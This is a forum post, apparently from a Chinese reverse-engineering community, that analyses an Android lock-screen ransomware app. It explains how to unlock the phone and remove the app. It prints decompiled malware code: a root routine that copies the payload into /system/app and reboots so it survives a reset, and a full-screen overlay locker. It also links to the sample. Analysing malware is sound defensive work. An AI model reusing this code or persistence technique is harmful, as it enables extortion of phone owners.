好友
阅读权限30
听众
最后登录1970-1-1
|
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Hoimk 于 2016-7-19 21:14 编辑
唔..刚才逛了下悬赏区。看到又是一个被锁屏的孩子,下了个样本,本以为只有简单String+String,没想到看起来还是很高大上的..
我是第一次分析这个...别喷我。。
报告名称: 对一个"刷机无效"的坑爹锁屏APP的分析
作者: Hoimk
报告更新日期: 2016.6.12
样本发现日期: 未知
可能受到威胁的系统: Android
先放第一个Activity的图出来压压惊
准备工具:
JEB一个;
虚拟机一个
分析:
这个APP分为两层,我们先来看看第一层:
把软件拖到JEB里,出来是这样子滴。
唔,这个备注是我自己写的,变量名方法名是自己改的;
我们先看到Manifest,找到启动类
[XML] 纯文本查看 复制代码 <activity android:label="@string/app_name" android:name=".c">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
android:name=".c" 这个c就是我改成main的那个。
好,那再看看OnCreate方法,这个方法就是在窗口被打开的时候调用的:
其实没什么好看的,主要就两句:
[Java] 纯文本查看 复制代码
v0.b.setOnClickListener(new ButtonClickListener(v0));
v4.d(new StringBuffer().append(v0.path).append("/zihao.l").toString());
第一句是给那个"点击打开悬浮窗"的按钮设置按钮事件,按钮事件是啥呢?看到最前面那张JEB的图了没?事件就是那个onClick方法,咱来看看
[Java] 纯文本查看 复制代码 public void onClick(View arg8) {
new cmd().rootShell(); // 获取Root权限
file.deleteFile(main.this.file);
}
这个rootShell其实不只获取root权限..
[Java] 纯文本查看 复制代码 void rootShell() {
cmd.execCommand(new String[]{"mount -o rw,remount /system", "mount -o rw,remount /system/app",
"cp /sdcard/zihao.l /system/app/", "chmod 777 /system/app/zihao.l", "mv /system/app/zihao.l /system/app/zihao.apk",
"chmod 644 /system/app/zihao.apk", "reboot"}, true);
}
就是执行这几条命令,啥意思? 大概就是把/sdcard/zihao.l这个文件当成一个APK安装到系统分区里,最后reboot就是重启,当然,他在期间申请了所需要的权限;
然后就是关于这个zihao.l怎么来的?这时候就要回到第二句了,我们看看这个d方法
这几句就是无限循环的读,读到没得读为止,边读边写,读谁?读自身存储路劲下的ijm-x86.so,然后写出到arg13这个路径,就是在前面传进来的那个路径:
v0.path在构造器中已经声明了是取SD卡根路径;
到这,第一层就结束了,手机开始重启,重启之后就会听到一首十分动听的歌曲。。。然后你也发现屏幕已经被锁住了...重点是...TM的竟然没有输入框,没有输入框!!!给了你一个付款二维码扫描,噢草,这TM就尴尬了。用ADB干掉他,这歌我NM听着就烦;
(真丑,五星差评)
来,看看第二层这个APK;
[XML] 纯文本查看 复制代码 <activity android:label="@string/app_name" android:name=".M">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
" android:name=".M" 嗯..先看看这个
意思就是启动MyAdmin这个receiver,
主要就是把锁屏的pin码设置为1997,然后又启动了s这个服务,那来看看这个s把;
好乱啊..全部无视直接看onCreate和onStart
看看作者这手法,这套路,v3 v0 v4无限切换,然而说到底都只是同一个对象而已...
[Asm] 纯文本查看 复制代码 v3.editor.putString("passw", v0.des.encrypt(new StringBuffer().append("").append(v0. // 加密passw 写进passw属性 key=xxx(图上写错了..忘记改回来)
passw).toString()));
分析一下这里,其实很简单,只是把passw用des加密然后写进数据文件里而已,deskey为xxx
你们有没有发现少了点啥...没错,解锁屏的在哪?!!! 全TM是套路..
再看onStart
[Asm] 纯文本查看 复制代码 public void onStart(Intent arg8, int arg9) {
super.onStart(arg8, arg9);
this.c();
}
看c方法
[Asm] 纯文本查看 复制代码 private void c() {
s v0 = this;
v0.wmParams = new WindowManager$LayoutParams();
Application v6 = v0.getApplication();
v0.getApplication();
v0.mWindowManager = v6.getSystemService(Context.WINDOW_SERVICE);
v0.wmParams.type = 2010;
v0.wmParams.format = 1;
v0.wmParams.flags = 1280;
v0.wmParams.gravity = 49;
v0.wmParams.x = 0;
v0.wmParams.y = 0;
v0.wmParams.width = -1;
v0.wmParams.height = -1;
v0.mFloatLayout = LayoutInflater.from(v0.getApplication()).inflate(2130903041, null);
MediaPlayer v2 = MediaPlayer.create(v0, 2131099648);
v2.setLooping(true);
v2.start();
v0.mWindowManager.addView(v0.mFloatLayout, v0.wmParams);
v0.bt = v0.mFloatLayout.findViewById(2131361794);
v0.ed = v0.mFloatLayout.findViewById(2131361792);
v0.tv = v0.mFloatLayout.findViewById(2131361793);
s v5 = v0;
try {
v5.ed.setHint("宝贝在这输入密码!");
v0.tv.append("恭喜中奖");
}
catch(Exception v5_1) {
}
v0.bt.setOnClickListener(new 100000001(v0));
v5 = v0;
try {
v5.tv.append(new StringBuffer().append(new StringBuffer().append("\n").append(v0.des.decrypt(
"e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c")).toString()).append(v0.share
.getLong("m", ((long)0))).toString());
}
catch(Exception v5_1) {
}
}
别的不用看看这个按钮事件:
v0.bt.setOnClickListener(new 100000001(v0));
[Asm] 纯文本查看 复制代码 if(!v4.this$0.ed.getText().toString().equals(v0.this$0.des.decrypt(v0.this$0.share.getString(
"passw", "")))) {
return;
} //判断ed中的内容加密后和保存的passw值是否一致
v0.this$0.mWindowManager.removeView(v0.this$0.mFloatLayout); //移除Activity
v0.this$0.stopSelf();
呵呵呵呵呵呵呵,看到这里就明白了把,根本没啥扫码自己解锁;至于这个输入密码的框框和按钮在哪呢....咱来找找
[Asm] 纯文本查看 复制代码
<EditText android:ems="10" android:id="@id/ed" android:layout_height="4.0dip" android:layout_marginEnd="5.0dip" android:layout_width="5.0dip" />
<Button android:background="@drawable/image_1" android:id="@id/bt" android:layout_height="200.0dip" android:layout_width="200.0dip" android:shadowColor="#ff000000" android:shadowRadius="2.0" android:textColor="#ff000000" />
嗯..那个二维码就是一个按钮,然后这个编辑框好坑爹啊...
看到红框那里有个小点没有....就在那里输入密码,然后点这个二维码就可以了.......最后锁屏pin码是1997
然后至于作者怎么知道随机密码的问题...我表示不清除,我用ADB把SharedPreferences文件拷了出来,值是0a842e9ccc030aa2,然后key是xxx,解密出来结果是50932,成功解锁...
至于双清为什么无效,因为他把APP安装到了System分区,双清或者覆盖刷机是没法干掉他的,要完全清除System分区再重新刷才可以;不知道是不是哪里错了,有的话求大牛带飞。
最后..完。
2016/6/15:
补充一下解决办法:
其实我也没想到什么很好的办法,我不知道线刷会不会清除system分区,回复下有几个说线刷就可以解决的请自己试试吧。
上面说了,必须清除System再卡刷就能干掉他,而清除System的目的也只是为了删除掉这个APP而已,实际上只要用带文件管理的第三方的rec删除掉他然后重启就行了,进入system目录,找到名为"com.h"(应该是这个把..我忘了,反正只有一个h的那个)的文件夹将他删除即可,
如果你没有刷过第三方rec,请百度自己机型如何线刷第三方rec!
6.29更新:
今天看到有人说这密码不是随机的..于是我从新下载了样本研究了下...
确实是我眼戳,没有看到后面他把这个pass设置为解锁序列号了:[Asm] 纯文本查看 复制代码 tv.append(new StringBuffer().append(new StringBuffer().append("\n").append(v0.des.decrypt(
"e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c")).toString()).append(v0.share
.getLong("m", ((long)0))).toString());
他首先把"你的解锁序列号"加密成密文了,(我一眼看上去也没在意,我的序列号又是100,我还以为那是固定唬人的)...然后再把序列号取出来,加到文本框的后面。
所以解锁密码应该是 “(序列号+7176)*7”
感谢@绝版ren物
样品:链接: http://pan.baidu.com/s/1kVdav8F 密码: 8wtz
Blog:http://www.hoimk.com/reverse/53.html
|
免费评分
-
查看全部评分
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|